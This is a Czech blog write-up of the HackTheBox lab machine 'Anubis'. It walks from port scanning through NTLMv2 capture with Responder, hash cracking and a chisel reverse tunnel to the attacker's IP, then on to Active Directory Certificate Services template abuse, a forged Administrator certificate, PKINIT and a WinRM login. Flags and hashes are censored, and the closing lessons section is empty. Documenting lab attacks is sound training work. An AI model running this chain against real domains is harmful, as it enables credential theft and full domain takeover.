tom@home.htb:~$

Blog o HTB

28 October 2020

Anubis

Úvod a kontext

Anubis je hlavně o laterálním pohybu v doméně a o zneužití Active Directory Certificate Services. První vstup vede přes interní software portal a odchyt NTLM autentizace, ale skutečný dopad se ukáže až ve chvíli, kdy se podaří upravit certifikační šablonu a vystavit certifikát pro Administrator.

Didakticky je na tomhle stroji důležité, že user a root část nejsou oddělené dvěma různými exploity. Jde o jeden souvislý AD řetězec: od webového footholdu, přes interní host earth, až po PKINIT s podvrženým certifikátem.

Počáteční průzkum

Vyhledání otevřených portů

Na začátku mapuji externě dostupné služby.

IP=10.10.11.102;ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49714/tcp open  msrpc         Microsoft Windows RPC

TLS certifikát a další artefakty ukazují na doménu windcorp.htb a interní hosty.

Foothold přes web a interní portál

Tady se opírám o zneužití webového endpointu pro spuštění příkazů (ASP payload). Pro stabilnější přístup jsem použil reverzní SOCKS tunel přes chisel.

./chisel server -p 8080 --reverse
cmd /c chisel_windows_amd64.exe client 10.10.14.7:8080 R:socks

Následně přes proxy vyvolám požadavek na interním instalačním endpointu, který vede na odchyt NTLMv2.

proxychains -f proxychains4.conf curl "http://softwareportal.windcorp.htb/install.asp?client=10.10.14.7&software=7z1900-x64.exe"
python3 ./Responder/Responder.py -I tun0
[WinRM] NTLMv2 Username : windcorp\localadmin
[WinRM] NTLMv2 Hash     : __CENSORED__

Prolomení hashe a přístup do interní sítě

john --wordlist=/usr/share/wordlists/rockyou.txt hash
__CENSORED__

Po prolomení hesla účtu localadmin jsem ověřil dostupné SMB share přes tunel:

proxychains -f proxychains4.conf smbclient -L 172.28.224.1 -U localadmin
ADMIN$
C$
CertEnroll
NETLOGON
SYSVOL
Shared

Získání přístupu

Získání user flagu

Po laterálním pohybu na host earth:

more user.txt
__CENSORED__

Enumerace AD CS

Pro další posun je důležitý obsah CertEnroll a šablony certifikátů.

dir \\earth\CertEnroll
earth.windcorp.htb_windcorp-CA.crt
windcorp-CA.crl
...

Z technického kontextu je patrné, že bylo možné upravit parametry šablony Web tak, aby šla zneužít pro autentizaci privilegovaného účtu.

powershell
$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
Set-ADObject "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb" -Add @{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}

Vystavení certifikátu pro Administrator

Vytvořím CSR s UPN administrator@windcorp.htb a požádám CA o certifikát.

openssl req -config admin.cnf -subj "/DC=htb/DC=windcorp/CN=Users/CN=Administrator" -new -nodes -sha256 -out admin.req -keyout admin.key
certreq.exe -submit -config earth.windcorp.htb\windcorp-CA -attrib "CertificateTemplate:Web" admin.req admin.cer

PKINIT a přístup jako Administrator

S vystaveným certifikátem nastavím Kerberos (krb5.conf) a získám TGT přes PKINIT.

proxychains -f proxychains4.conf kinit -X X509_user_identity=FILE:kinit/admin.cer,kinit/admin.key Administrator@WINDCORP.HTB

Potom se přihlásím přes WinRM jako Administrator.

proxychains -f proxychains4.conf evil-winrm -i earth.windcorp.htb -u administrator -r WINDCORP.HTB

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - active-directory - adcs - kerberos - winrm